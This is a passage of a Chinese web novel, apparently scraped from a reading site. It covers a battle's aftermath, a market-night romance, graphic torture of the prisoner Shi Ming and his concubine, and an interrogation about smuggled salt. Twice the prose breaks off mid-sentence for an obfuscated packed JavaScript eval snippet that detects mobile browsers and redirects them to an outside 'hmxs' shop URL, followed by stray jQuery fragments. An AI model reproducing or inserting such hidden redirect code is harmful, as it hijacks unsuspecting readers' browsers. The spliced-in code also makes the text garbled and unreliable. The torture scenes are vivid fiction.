战场逐渐被打扫得干净,只剩透进土里去不掉的血污。史明的残兵瑟缩在一旁听候发落,林长亭这边虽算不上死伤惨重,但却也牺牲了不少弟兄。 鸩一个人默默走向堆得向小山一样的尸体旁,摘下那些牺牲的亲兵的玉符轻轻收好。这是林府亲兵的身份证明,皆用上好的翠玉打造而成。有了这个,至少能给家族亲眷留个念想,留下足够他们往后无忧的一笔财款。 伤员们能动的都找了个僻静处自行上药疗伤,可刀剑无眼,还是有不少重伤员挣扎在阴阳两界边缘。 就在众人不知如何将人运回城内一筹莫展之际,远远的一阵扬尘伴着雄壮的号子向他们奔赴而来:“哥几个快跑!加把劲!快!” 知府定睛一看,为首的正是城中车夫老陈。他因上了年岁躲过一劫,想来是得了衙役的通 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“呜呜呜……我们樊城人……好样的!呜呜呜……” “知府大人诶,你别哭了,干会儿活儿呗。”老陈拍了拍他的肩,“城里百姓还都等着你回去嘞。” “呜呜……你是个粗人,你不懂……呜呜……” “中,恁懂,恁最懂咧。” 老陈抹了一把脖子上的汗,留下啜泣的知府默默走开。 有了樊城百姓的帮助,残局打扫起来轻松许多,可一整天下来竟也忙到了擦黑。林长亭倚在窗棂旁,街道上逐渐鼎沸的人声和灯火映得他气色也好上许多。他看着靠在桌子上打盹的苏玉淑,笑得温润。 或许是药力的缘故,自包扎好后他竟昏睡了一整个下午。苏玉淑就这么老老实实地待在房间里守着他,哪里也没有去。 此刻她睡得正香,撑着脑袋身子一抖一抖活像个磕头虫。 林长亭不忍打扰她的美梦。想来她也才是青葱少年的年纪,近来这许多事就算是个老成谋士也会焦头烂额,更何况她一个小姑娘。 有了这片刻的安宁,他也才得了机会好好看一看她。 她的睡颜宁静可爱,全无往日张牙舞爪的模样。 苏玉漱的呼吸均匀平静,小巧的鼻尖微微抖动,平日里那双炯炯有神总是对一切充满了好奇的大眼睛轻轻闭着,小脸上还沾着没擦干净的尘土,看上去像一只调皮捣蛋累了熟睡的小猫。 林长亭回味着刚刚她给上药的模样,她小心翼翼地捏着打湿的纱布清洁伤口,又皱着眉头敷上药粉,包扎的动作温柔又笨拙。 从小娇生惯养的大小姐,如今竟也学着照顾起别人来。 想到这儿,他伸出手去擦她脸上的灰尘。或许是常年习武的手指过于粗糙,苏玉淑竟一下子惊醒过来。 林长亭吓得猛地抽回了手。 “嗯……几时了?我睡了多久……” 她甩甩酸痛的手挣扎着揉了揉眼睛,林长亭微笑着看她,身影笼罩在淡淡的烛火里,看上去有些莫名的哀伤。 “你醒啦。”苏玉淑大大地伸了个懒腰,“还疼吗?” “不疼了。”林长亭指了指外面,“许多店铺都开了门,要下去逛逛吗?” 她一蹦三尺高:“好呀!正好肚子饿了!” “那我们去看看有什么吃食,我请你。权当是谢谢你……”他语气一顿,“谢你跑这一趟,帮了我。” “我苏家最不缺的就是钱,还是我请你吧。”苏玉淑一点儿都没察觉他语气里的迟疑,整个人兴奋异常,“要不要叫上鸩?还有叶英叶荣,今天你们的单,我苏大小姐包了!” “不了,就我们俩。” “为什么,他们还在忙吗?那我们先去,看到好的再给他们送去好了!我下去等你!” 话还没说完,她揉着睡麻了的腿一瘸一拐地就往门口跑,一眨眼的功夫就消失在楼梯的尽头。 “唉。” 林长亭突然惊觉,自己最近叹气的次数越来越多。但他也只是沉默片刻便换上衣衫,听着楼下愈发吵闹的动静,他不忍让她等上太久。 “笨蛋,什么时候才能开窍呢。” 44. 第四十四章 “林长亭!我要买这个!” “林长亭!我要吃这个!” “林长亭!你帮我拿一下,我去买个奶酒酿!” 苏玉淑左手握着糖糕,右手攥着蜜饯,一步一跳地穿梭在灯火通明的街道上。没走几步她惊觉身后之人并未跟上: “走啊林长亭,你愣什么神啊?” 此时的御史大人双手拎满了苏大小姐买下的各类物品,就连嘴里都塞着她买了又不吃的龙须糖。他站在人群之中活像个小苦力: “大小姐,你还要买吗?” 苏玉淑点点头:“对啊。” “那这些东西……” “哎呀这有什么的,拎回去送人不就是了。”她狠狠咬了一口糖糕,“你懂什么,这樊城今天才有了点儿活气儿,我买东西自然会有人跟着买,要是所有人都不花钱,那樊城得哪辈子才能好起来啊。” 这糖糕有点太甜了,齁得她牙疼,想来是老板久未做生意手艺生疏了。苏玉淑皱皱眉头,挤出一个假惺惺的笑:“这个挺好吃的,你吃不吃?” 白花花的糖糕油润松软,只是上面还带着半拉牙印。 “嗯……我咬过了,给你好像是不太礼貌。算了留着给我哥吃吧。” 林长亭迅速咀嚼,差点把龙须糖在嘴里嚼出火星子。他囫囵一吞: “给我吧,我吃。” 看着他一脸认真的模样,苏玉淑突然想捉弄捉弄他。她挑了挑眉,一下子跳到林长亭的身前仰起了脸。 二人的呼吸碰撞到一起,林长亭的心跳瞬间停了半拍。她的发梢在晚风之中轻轻拂动,他几乎能闻到她身上那股淡淡的,女孩子特有的香气—— 他忍不住后退了半步。 苏玉漱一把抓住他的腰带将人扯回自己身前:“你躲什么?” “我没……” 平时这端庄冷淡的林大人,偶尔逗弄几下居然也会脸红。苏玉漱踮起脚尖笑得灿烂,不怀好意地伸出了手。 林长亭想要躲,可身体却像被施了法一般动弹不得。他索性心一横,死死闭上双眼—— 嘴唇上传来轻柔的触碰,他的呼吸都乱了起来。 她在做什么?为什么摸我的嘴?难道是因为……不行不行,她还太小了,我怎么能有这种想法呢……大业未成,我怎么能沉湎于儿女私情……可是俗话说得好先成家后立业…… “你嘴角沾了白糖,我帮你擦掉了。” 诶? 林长亭不可置信地睁开眼:“你捉弄我。” “不可以吗?” 他一时气短。苏玉漱奸计得逞拔腿就走,林长亭却待在原地不肯挪动半分。 “怎么?生气啦?” 林长亭不说话。 “哎呀,这不是今天解决了大事心情不错嘛,逗逗你,你别生气了呗~” 他还是不说话。 这可给苏玉漱弄得有点下不来台了。她尴尬地挠了挠头,向来是只有别人哄她苏大小姐的份儿,今天倒好,她要反过来哄这别人家的小少爷了。 “你理理我呗。”她的语气有些扭捏,“你不生气的话我就给你买好吃的。” 还是没反应。 坏了,这是真被自己惹到了。 “林大人,我错了,我真错了,我不该作弄你的。”苏玉漱彻底慌了,“我请你吃饭!这条街!啊不,这樊城里,你看上什么我就给你买什么,真的!你别不理我啊,求你了我最怕别人不说话了……” 林长亭只是垂了垂眼睛,还是没开口。 “林长亭,长亭哥哥,你别闹脾气了我真再也不敢了,你晚上不是说还想买点当地的酒水吗,记我账上,我包了行不行……” 苏玉淑急得眉毛眼睛全皱在了一起,她扯了扯林长亭的袖口,语气里多了几分撒娇的意味:“求你了嘛。” 林长亭眯着眼睛的样子活像只狐狸:“再叫一声长亭哥哥。” “长亭哥哥!行了吧!” “唉……我也逗你的。” 他得意地看了一眼苏玉淑错愕的神情,掸掸袖子大步走开。不出他所料,没过多久身后便传来少女急赤白脸的咒骂声,惹得路人纷纷侧目。林长亭才不管这些,他一想到苏玉淑现在又气又急的模样就心情大好。 已经是处暑的节气,晚风里都夹杂了些许凉意。今日是满月,好似是对大胜的奖励,亦或是对亡魂的祭奠。月光温柔地包裹着樊城重新燃起的这一片星火,也照亮了每一个人的心底。 叶英叶荣忙碌了一整天还未休息,他们晚上还要将许多证物入库。鸩不便抛头露面却也戴上面巾穿梭于医馆之中,在她的指点下,许多伤员都得到了妥善的救治。正一带着一支小队于山林间穿梭,他们务必要在两日后将樊城的消息告知朝廷—— “你说,小姐什么时候才能回来呢?” “不知道,大约就是这几日了吧。” 绿萝叹了口气,索性把头靠在石竹的肩上:“好想小姐。我还从来没和她分开这么久过。” “没事的,小姐一定会平安回来的。咱们把这院子替小姐守好了,打扫干净了,等她回来就给她做她最爱吃的甜酪浆,好不好?” 月光照着不一样的土地和同样的思念。 “好。” 石竹拍了拍她的背,绿萝的呜咽躲进一片夜里。 第二天苏玉淑从床上艰难地拖着身子爬起来的时候,已是日上三竿了。昨夜她和林长亭提着酒水拌着嘴就到了临时的营房,说着犒劳军士们,她倒是牛饮起来。她只记得自己抱着个酒坛子不撒手,最后还是被苏玉鸿扔回了房里。 她本就宿醉,这简陋的床板更是睡得她浑身酸痛。侍女们都不在身边,苏玉淑只能自力更生,所幸鸩贴心地为她准备好了新衣服。 苏玉漱草草洗漱后快步出门,虽然头痛,但她也记得今天是要审问史明等一干罪人的大日子。 “苏小姐早啊!” “苏小姐要不要吃点东西啊!” “大小姐!少爷在牢里呢!” 营房里住着不少林长亭的亲兵,今天主子不在,他们对这个活泼开朗的小妹妹自然是热情有加。苏玉漱向来没什么架子,她兴奋地回应着,手挥舞得老高,像一只在草原上奔跑的小鹿。 “等今晚回来!哥儿几个还一起喝酒啊!今天不醉不归!” 高涨的欢呼声让她觉得轻飘飘的,这种被簇拥的感觉也太美妙了,一想到林长亭这么多年来过得都是这种好日子她就生气。 等审完史明这老小子,说不准他们苏家还能成平反的大功臣呢。到时候拿了皇家的牌子,做起生意岂不是大赚特赚!爹知道这件事一定会夸自己,到时候苏家生意她和苏玉鸿一人一半,她苏玉漱倒要看看,到家产在自己手上翻翻的时候,那帮人还会不会拿她是个女儿这件事说扯东扯西! 不过那些都是后话,现下她还有更重要的事情要做。 林长亭这家伙冷漠多疑,上次他派鸩背着自己去找知府的事儿还没和他好好算上一算。昨天这人还说什么“审问的事和你无关”“你最好别看”,肯定是又有什么事儿要瞒着她。 她偏不,她偏要看。 樊城规模不大,此处民风淳朴,牢房设立了这许多年竟没派上什么用场,谁也没想到这死牢居然会在林长亭这家伙手上开了光。 这何尝不是一种倒霉呢。 苏玉淑连问带打听,七拐八拐地找到了牢房门口。可她还没来得及进去,哭天抢地的声音由远及近地到了身前—— “呜呜呜啊啊啊——” 堂堂知府,一身官府,掩面而泣,声泪俱下。 苏玉淑不明就里地伸手去拦,她这一动不要紧,倒是又给人吓了一大跳: “噫!你干什么!” “你……你哭什么啊?”她实在是不知该作何表情,这樊城的知府海大人短短两天之内就没停过,是打胜了也哭,得了百姓救助也哭,晚上喝酒还哭,现下又不知道怎么了。 哭哭哭,大老爷们儿就知道哭。 “呜呜……苏小姐……见笑了……只是,只是林大人他……呜……” 苏玉淑不问还好,这一问他哭得更凶了。只见牢房里跌跌撞撞跑出个书房先生,三两步直奔海大人:“大人!大人您别哭了!这让御史看见还不一定怎么参您一本呢!” 她叹了口气:“林大人在里面?” 先生拱手:“是,苏小姐,您……您最好还是别进去了。” “无妨。你照顾好你家大人吧。” 想来是林长亭又不近人情地说了什么做了什么,才把人训成这个样子。这家伙哪里都好,就是个性实在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16541868|185365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不讨喜,也不知道这种人是怎么在官场上摸爬滚打的。不过他年纪轻轻就能做到御史之位,定是除了雷厉风行铁腕手段之外还有其他的过人之处。 苏玉淑这才惊觉,自己竟一点都不了解林长亭。 关于他的身世,他的来路,他的目的,她几乎可以说是一问三不知。或许她苏玉淑只是他手下的一枚小小棋子,可即便是为人所制,她也得活个明白才行。 她迈步向前,死牢里幽幽的潮湿气味夹杂着腥味迎面袭来。她直面这隐匿于黑暗之中的恐惧大步流星,头也不回。苏玉淑紧紧握着拳头,噼啪作响的火把明明灭灭地燃烧在昏暗的甬道里。 等此事一了,她一定要把所有的疑问都抛还给他,她要清清白白堂堂正正地做林长亭的对手,也是战友。 啪—— 鞭子划过空气的爆破声在狭窄的空间里格外刺耳。声音的源头在牢房深处,不用多想就知道定是林长亭在拷问案犯。 苏玉淑循声望去,却只能看到自己摇曳的影子。抽打的声音源源不绝地传来,其中开始夹杂哭喊与呻吟声。她只觉得周身发冷,两条腿像被钉在地上一般动弹不得。原来知府不是被骂哭的,而是被吓哭的。 那会是什么样的场景。 她不敢多想,也不能再多想。如果此时心生胆怯,那么她所希冀的一切都不会到来,她还是那个要被藏好,保护好的大小姐,她的胆识谋略永远不会被真正承认。 苏玉淑深吸一口气,灰烬的余味瞬间缠绕进她的肺腑,但她不在乎。 她直勾勾地盯着甬道的尽头,哪怕那里只有无尽的黑。 “史大人,骨头挺硬的嘛。”林长亭摆了摆手,亲兵当即放下鞭子。史明呈“大”字型绑在枷锁上,口水和着血从脸上滴落,他浑身早已没有一片好地儿,猩红的鞭痕布满了整件囚服,就连头发都被抽掉了几缕,脑袋上粉红色的几片分外扎眼。 “这鞭子……还是我闲来无事的时候,自己做着玩的。你既然身为制置使,那自然也懂得些铁器了。你猜,我在鞭子里加了什么?” 他的语气里竟生出几分期待,明明是丰神俊朗之人,可嘴角挂着的笑却恶劣得令人胆寒。 “兔崽子……我猜,我猜是你爷爷的毛……”史明喉咙中含混不清地夹出几个字,他奋力抬起头,拼尽全身力气往林长亭脚边啐了一口血痰,“有种你弄死我……” “猜错了。”林长亭并不在意,他抚摸着自己手里那根还没见过血的新鞭子,戏谑笑道,“刚才那根里泡过了硫磺……就是做火药的那东西。现在你的伤口应该火烧火燎的,很痒吧。没关系,我来帮你想想办法。” 他勾勾手指,亲兵心领神会地取走了他把玩的这一根:“试试新花样。这跟里面揉了些钢丝,很细的那一种,我打磨了很久呢。能帮史大人解解皮痒之苦,这是它的荣幸。” 啪—— “啊!!!” 史明气沉丹田,腹中用力试图憋住声音,可惨叫声还是不受控制地迸发出来。他只觉得自己周身颤抖,不知是汗还是血的液体从背上划过,如无常的触摸一般冰冷。 还未等他缓上一缓,第二道鞭挞便无情落下。加了柔性钢丝的鞭子和软刀子一样,每一下是抽打更是凌迟,史明眼睁睁地看着自己的大腿被抽了个遍,皮肤只剩一点粘连在肉上,吊在空中像是盛放的垂丝芙蓉。 林长亭抬起头,他的眸子在烛火的映衬下分外幽深:“你的腿算是让我彻底废了,别说骑马,只怕是走路都难。若是你肯招,我可以保你后半辈子生活无虞。” “废了我……还想让我说……做你的春秋大梦!” “唉……” 他也不恼,只是幽幽一声长叹,本就血腥的房间此刻更添十足的鬼气。史明不怕挨打,不怕受刑。胜者为王败者寇,他选了这条路就料想过会有这么一天。只是这林长亭老谋深算,此刻他这一叹,彻底叹乱了史明的心: “你,你叹什么气?” “如果不是你嘴太硬,我也是万万不想走到这一步的。”他的笑还是一如既往的温和,“那就……带个人给你见见吧。” 苏玉淑躲在角落里,大气都不敢喘。 她只见到几个模糊的人影从另一个牢房出现,夹在中间的女人身形丰腴,声音却凄厉: “夫君!” 45. 第四十五章 女人不管不顾地挣脱,她一个踉跄跌到牢门前。 血海翻涌,皮肉相迎。 林长亭端坐一旁,他语气轻轻没有一丝波动:“史大人,抬头。你看看谁来啦。” “夫……夫君……” 史明艰难抬起头,女人虽被吓得惨白木讷,可衣衫华丽头发梳得一丝不苟,和这满是脏污的牢房格格不入。 “林长亭!”史明突然暴起,他不知道从哪里来的力气猛地扯动刑具,“哗啦”的声响震得林长亭眉头微皱。 “我怎么了?” “你个小人!你这个贱人!你放了我夫人!你放了她,你有什么你冲老子来!你绑个女人你算什么能耐!你个没根儿的东西!” “太吵了。”他拨弄了一下耳边的发,“史大人,没记错的话,王姨娘好像不是你夫人吧?是……小妾来着?” “关你屁事!”史明发出近乎野兽的嘶吼,“她就是我夫人!你给我放了她!” “我刚说了,太吵了。”林长亭微微叹了口气,“你的嘴我还留着有用,但她的……” 他的眼神如同一条冷静的毒蛇在王姨娘的身上游走,却在她的指尖停留。 “这样好的指甲,想来是从来不用做重活的。得罪了。” 林长亭一把抓起女人的手,不由分说地将其按在桌子上。还未等众人反应过来,一道血光便划过黑暗,只留一声刺耳的惨叫—— “啊!!!” “林长亭!你不是人!你王八蛋!” 他满意地端详着王姨娘飞落在地的指甲,手中的钳子还泛着寒光。 “王姨娘,你不要和他学,稍微安静一点。”林长亭侧过身,余光扫过史明悲愤交加的脸,“这一下你要是再叫,我就把他另一只耳朵也削下来,好吗?” 王姨娘呆愣愣地看着他温和的脸,她点了点头又很快摇了摇头,泪水不住地从眼眶掉落: “不……” “我要的不是这句。” 林长亭长袖一挥,又是一片指甲飞了出去。十指连心,王姨娘双腿一软当即摔倒倒地,她满头的冷汗和灰尘混成了泥水,可她竟死死咬住嘴唇,直至鲜血淌湿下巴也一声不吭。 “你放了她,你放了她你有什么你问我……”史明的声音已无之前的嚣张,他眼睁睁地看着心爱的女人替他受难却无计可施,“林大人,算我求你的……你放了她吧……” “你们感情真好。”林长亭轻声一笑,“我再问你一遍,你招,还是不招?” “大人……我家夫君,他什么都不知道……”王姨娘挣扎着跪在他的脚边,“您别难为他了,求你……” 她的血蹭脏了林长亭的裤脚,那一抹血红怎么看怎么碍眼。 “他不知道的话……不如你来说?” “我……” “看来你是知道些什么了。”他丝毫不掩饰自己眼中的恶意,“史大人!你听见了!你若是再不招,我就要对令夫人动刑了。” “你!你……” 铁链又是一阵咣咣作响。 “鞭子什么的都是小儿科。你可知道水银?只需要在人头上钻开一个小口,让人小心些将水银灌进去,就能外貌不腐而人智尽毁。王姨娘养得细嫩,想来做成个人皮水囊也是不错的。到时候……史大人可要一起用上一用啊?” 王姨娘早已吓得六神无主,她顾不得手上疼痛,连滚带爬地挪到史明的脚边:“夫君,说了吧,不会有事的!我那侄子是不会怪我们的,他,他可是皇亲国戚啊,就算说了也不会怎么样的!别硬扛着了!这么多年了,你还没明白吗!咱们就是他们手底下养的几条狗啊!” “蠢呐!蠢呐!蠢!!” 史明三声长叹,他的身体抖得像破旧的风箱,仿佛一瞬间苍老了许多。他垂下了一直挺着的头: “放她走,我就说。” “你若使诈,她定会生不如死。” 林长亭摆了摆手,两名亲兵立刻托起王姨娘哭得软绵的身子向外走。 “一炷香的时间,若是得了信就给她包扎。要是没有……” “属下明白。” 见人出来,苏玉淑赶忙闪身躲进黑暗。待脚步声渐远她才小心翼翼地探出头来。她看向牢房,刚才还坐在那里的身影却消失了。 “找谁呢?” “啊!” 苏玉淑不由自主地惊呼一声,她向后踉跄半步,脑子还没反应过来手先敲到了林长亭的胸口:“你要吓死我啊!” 林长亭没好气地揉了揉胸口:“你在这儿鬼鬼祟祟的干什么?不是和你说了别来吗?” “谁知道你打的什么算盘,我当然要看看你在干嘛啊。不过你是怎么发现我在这儿的?” “你猜。” 苏玉淑气得又给他一下:“你能不能正经点!” “只许州官放火不许百姓点灯吗?你忘了你昨天是怎么逗我的了?” “那,那不一样。哎呀说正事呢,你怎么这么记仇,能不能快说呀。” 林长亭笑了,有些无奈又有些宠溺。她一颦一笑总是能牵动他的情绪,哪怕只是轻轻一拳,也能勾得他说笑几分。 “你没闻到你的衣服上有什么味道吗?” “什么?” 苏玉淑把袖口伸到鼻子下闻了又闻,模样活像一只好奇的小狗。林长亭嘴角含笑又拼命忍住:“是茉莉花水。” “真的诶。”这股不易察觉的清香味儿在地牢里格外分明,“樊城特产好像就是茉莉花,这味道淡雅悠长,林长亭你品味不错嘛!到时候让我家盈字号的掌柜过来跑一跑,感觉会卖个好价钱。” 他不禁苦笑:“现在是做生意的时候吗?大小姐?” “你说的对。” “这次你偷跑过来我不和你计较,若以后有这种情况,你切记检查万全,不要给人留下任何蛛丝马迹。” “知道了。”苏玉淑老老实实点头,“你不生气?” “我知道你会来。”林长亭垂下眸子,“只是没想到来的这么早。你……都看到了?” “嗯。” “你……你没什么话要说?” 苏玉淑仰起脸,即便是在黑暗之中她的眼睛也是那样炯炯有神:“你觉得我会说什么?吞吞吐吐可不像你。” “我……” “你只是做了你该做的。除了看得我手指发疼,别的我不觉得有什么。要想做你最锋利的那把剑,我怎么可能连这点场面都经受不住。”她从腰间抽出帕子,轻轻擦掉他脸上沾上的血滴,“僭越了,林大人。” 上好的蚕丝柔软至极,林长亭几乎能感受到轻薄的料子后透过来的温度。苏玉淑坦荡地做着这一切,她的目光一片赤诚。 她的眼睛里有最热烈的花田。 “帮我个忙。” “嗯?” “张青已死,现在你家就剩刘掌柜和那个姓刘的小喽啰了,帮我审一审。毕竟生意上的事儿你比我懂得多。” “这不是帮你。”她拍了拍他的肩,“这是在帮我自己,是我该做的。” 林长亭一怔,这个回答显然在他的意料之外。苏玉淑粲然一笑:“别太感谢我,真觉得过意不去就把审问的结果一五一十地告诉我。当然,你的一切我也要知道,我不想继续不明不白地你指哪儿我打哪儿了。” 他把帕子轻轻攥入自己手中:“我答应你。等审问一结束,你会知道你想知道的一切。” “还有,我想去会一会那个王姨娘。” “为何?” “她确实经不住吓也受不住刑,可我猜你也看得出来,这两个人还真是用情至深。你还记得杜蕊华的绝笔吗?她就提到了这个人。这王姨娘知道的绝对不少,许多事儿你们男的摸不到门道,不如让我去问问,兴许能得出个什么所以然呢。” “好。你需要人手尽管提。老规矩,鸩还是拨给你用。” 她笑着迈出一大步:“那我就去啦,第一次当刑部的人还有点紧张呢。” 你这哪里是紧张,明明就是兴奋。 话到了嘴边,林长亭还是不忍泼她冷水。眼前挥着手跑开的少女明媚得连死牢都亮堂了几分,他不只知道她一定会来,还知道这件丁香色的衣服穿在她身上一定很好看。 可他最终还是什么都没有说。 她的脚步声渐行渐远,牢房里重归于死寂。林长亭低头看着自己脚边的一滩泥污,无可逃脱的阴影将他吞噬殆尽。他放任光从眼前消失,转身走向属于自己的深渊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16551506|185365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “史大人,我们开始吧。” 此时牢房的另一端,两个姓刘的被倒吊着有一会儿了。苏玉淑赶到的时候俩人的气儿喘得有一下没一下的,整张脸红肿得像过年被开水泼过的猪头。 “放人。” 鸩奉命上前,她只一挥手,还未等人看清动作两人便倒栽葱一般摔倒在地—— 咚—— “哎哟!” 苏玉淑利落地一甩裙摆,端坐于二人身前:“我没空听你们叫唤,最好老实点。”她一改平日的活泼模样,凌厉的眼神像刀子一样切割着面前的小人。 鸩有些微微的讶异。 她是什么时候一举一动都有了少爷的影子的? “刘掌柜,你在我家做了多久了?” 刘掌柜艰难地翻过身,许久未碰过水的喉咙嘶哑得可怕:“从小跑堂的算起,在安字号已经二十年有余了。” “是啊……安安稳稳的不好吗。”苏玉淑语气一顿,“为什么非要给自己,给苏家找不痛快呢?” 刘掌柜低下头,只余一声长叹。 “罢了,我敬你为我苏家做过许多,你便坐着说吧。鸩,给他倒点水来。至于那个……”她的眼神瞟向瑟瑟发抖的刘利,“拉到另一间牢房,估计他也不知道什么,就交给牢头们随意处置吧。” “不!不要啊大小姐!”刘利猛地跪倒在地,脑袋不住地往地砖上磕,“大小姐,您饶我一命!我就是一小货色,我知道的我肯定都说!大小姐!大小姐您说过保我荣华富贵的啊大小姐!大……” 不等他说完,两个面色阴沉无比凶悍的牢头一人拎起一条腿,像拎条死狗似的将刘利拖到一边。他的惨叫声实在是太大了些,正审史明审在兴头上的林长亭都忍不住往外看了一眼。 刘掌柜眼睁睁看着人消失在眼前,鸩好心地将他“扶”上了椅子,手上的力道几乎要捏穿他的骨头。苏玉淑笑眯眯地看着他,轻描淡写的样子仿佛一切的血腥恐怖都与她无关。 上个月的家宴之上,她不还是那个天真到藏不住心事的小女孩儿吗?她苏玉淑固然天赋异禀,固然胸有谋略是个经商的好苗子,可不还是个整日玩耍不谙世事的丫头吗? 她到底是什么时候变成如此恐怖的阎罗的? “刘掌柜,我尊敬您,您可千万不要敬酒不吃吃罚酒啊。”她的声音轻得很,落在人的心上却有千斤重,“那些刑具我不熟,动起来没轻没重的,再伤着您。” 刘掌柜知道自己难免有这一天,只是他从未料想会来的如此之快。 “大小姐,老奴只求一件事。” “你说。” “待我死后,求您善待我的家人,我的夫人身子不好,常年需要吃药。家中小女犬子年纪尚小,还望您大人大量,不要赶尽杀绝。” “我答应你。”她挑了挑眉,“我会保你家人衣食无忧。只是你这条命……你还要不要活着回去见他们,全在你。” “哈哈哈哈……哈哈哈哈哈!” 他的笑声空荡荡的。 刘掌柜笑得眼泪都淌了出来,他自嘲,他不甘可又无可奈何。他只能笑,笑自己走错一步满盘皆输,笑自己的天真和愚蠢。 他只能笑。 苏玉淑没有打断他,她只是静静地看着这个年过半百的人疯癫无状。想来刘掌柜一步步从小跑堂爬上来,他也定是想过要好好做一个商人的,就像现在的她和苏玉鸿一样。可错就是错,纵使有再多的由头和借口,他也是做了侵占的恶事,犯了走私的死罪。 笑吧,好好地笑笑自己的愚蠢。 半晌,刘掌柜看了看自己脏污的袖口,却还是用它擦了擦自己的脸。他努力地坐正已有些佝偻的身体:“大小姐,东流盐场从我手中贩过的私盐共有六百七十二石。” “六百七十二?” 苏玉淑腾地站起身来,她骤然睁大眼睛,这让她简直不敢相信自己的耳朵。此数已足够她苏家满门抄斩个好几次了,更何况这根本不是正常走私贩盐的数量。是什么样的地方需要这么多盐,又是什么人才能有这样大的手笔? 面前的黑暗之中伸出一只无形的手,将她的心脏紧紧攥住容不得丝毫的喘息。 苏玉淑跌坐进寂静,默默良久。 46. 第四十六章 她虽不语,可眼下这情景刘掌柜也只能自顾自地说下去。 “大约七八年前,老爷对东流盐场的盐务便不甚上心了,也是从那时起,我成了安字号的一把手。兴许是我事情办的利索,老爷后来便将盐场与安字号的营生都交于我和石场主,他只是每年例行查一查账,核对盐引。 私盐一案……始于三年之前,不过那时牵头的人是张青,你见过的。” 虽说刘掌柜年纪大了,可到底是经商之人有着过目不忘的本事,当年之事渐渐浮现在他的眼前。 那天的天气真是不错,想来应是与今日一样。 “妹夫!妹夫!我有个赚钱的买卖,你干不干?”彼时还是盐场小工的张青急吼吼地闯进安字号的账房,“你先别算你那点破账了!一年才几个子儿!” 刘掌柜眉头紧蹙,他重重合上账本:“说了多少次了,这安字号的账房你不能进!有什么事等回家关起门来再说!” “都什么时辰了,别家都关店了,就你还在这儿算这个破东西,你瞅瞅外面哪还有人!”张青不仅没走,还一屁股坐在长凳上,“就是你死脑筋,才让我妹妹跟了你这么多年也没享上福,人现在还病了,一副药就是你半个月的工钱,我看你什么时候能赚回来!” “要不是她轻信了你,把钱都借给你,她会一病不起吗!”想起张青欠的一屁股赌债他就来气,刘掌柜高高举起账本,犹豫一下又轻轻放下,“你别什么都去找你妹妹就是救她的命了!” 张青死皮赖脸地撮着牙花子:“我这不是带着办法来了嘛。别这么大火气,都是一家人。” “你到底想说什么?” “你跟我去一趟同发号,见个人你就知道了。” 刘掌柜也不知道自己是怎么鬼使神差地跟他出了这个门,更不知道自己推杯换盏之间是如何步步走错的。他只知道往后几年,他早已失了本心,替那天端坐于高堂之上的杜维杜老爷卖起了命。 他怕过,悔过,但是看着一天天好起来的夫人,更多的却是侥幸过。 干完这票就不干了,只要在被人发现之前抽手就是了。 不会被人知道的,他的账本向来做的天衣无缝,就算是苏老爷亲自查也不会查出什么所以然的。 一开始,他们还只是在从盐场发往各地的安字号的路程上做手脚,这箱抠几斤,那箱拆几两,这点损耗从不会有人在意。再后来,他们盯上了安字号于师城的总部,是用以低于市价几成的价格收购,再由刘掌柜在账上把数做平。 在他们看来,这一切都天衣无缝。 可直到前年,上面的人张的嘴越来越大,仅凭这些许细盐的利润已经不足以填满他们的胃。 “所以……你们就用了渴乌,直接从盐场里偷卤水自己晒盐屯盐?” 刘掌柜不置可否。 苏玉淑努力平复着心神:“那后来呢?” “后来,这些粗盐借了杜老爷家的路子,我并不知道具体是如何运走的。”刘掌柜摇摇头,“真是一步错,步步错。大小姐,我这些年从盐场捞的钱有七百余两……一部分已经买药用了,剩下的都去别家钱庄换了银票,存在我小儿子条桌下的第二块砖石内。 大小姐,还请您看在我为了安字号做了这么多年的事儿的份上,保我一家的生路吧!” “生路?”她冷笑一声,“你犯下这诛九族的死罪的时候怎么没想过放我们苏家一条生路!你怎么没想过放你家里人一条生路!现在东窗事发,你倒是想要我来保你?我苏玉淑何德何能,能保你这六百七十二石私盐的罪!你告诉我,我怎么做!” 苏玉淑从没生过这样大的气,她只觉得周身堕入数九寒冬的河水般冰冷,四肢百骸都透着风。 八年了,八年了! 这么长的时间里,她苏家居然无一人知晓私盐一案!这不是蠢是什么!这不是自讨死路是什么! 她几乎要出离了愤怒,拔刀砍了刘掌柜的冲动一下一下地敲击着她的大脑,像是催命的战吼。 苏玉淑多想自己能像林长亭一样,永远冷静自持,可她做不到。可眼下除了审问和聆听,她别无他法。 她从没想过真相如此可怕,这六百七十二石私盐的利润她心知肚明。再加上此处制置使的屯兵,还有林长亭是从京城被派出来的……她苏家在还不知情的时候就已经成了他人的掌中钉肉中刺,说不好早就被当成了…… 反贼。 苏玉淑倒吸一口凉气,她的目光之中满是怨毒:“你可还有什么要说的。” 刘掌柜扑通一声跪倒在地: “大小姐……是我对不起苏家!我……我也是没办法……” “闭上你的嘴!” 苏玉淑几乎是怒吼着说出这句话:“路是你自己选的,祸是你自己惹的,不要给我说什么没办法!事到如今,你还想着推卸责任吗?要不是留着你有用,我早就学着史明也一刀收拾了你! 你若有难处,父亲难道会不帮你?你若是还有良心,就问一问这么多年我苏家可薄待过你!你若是没别的话可说,我们就此别过。” 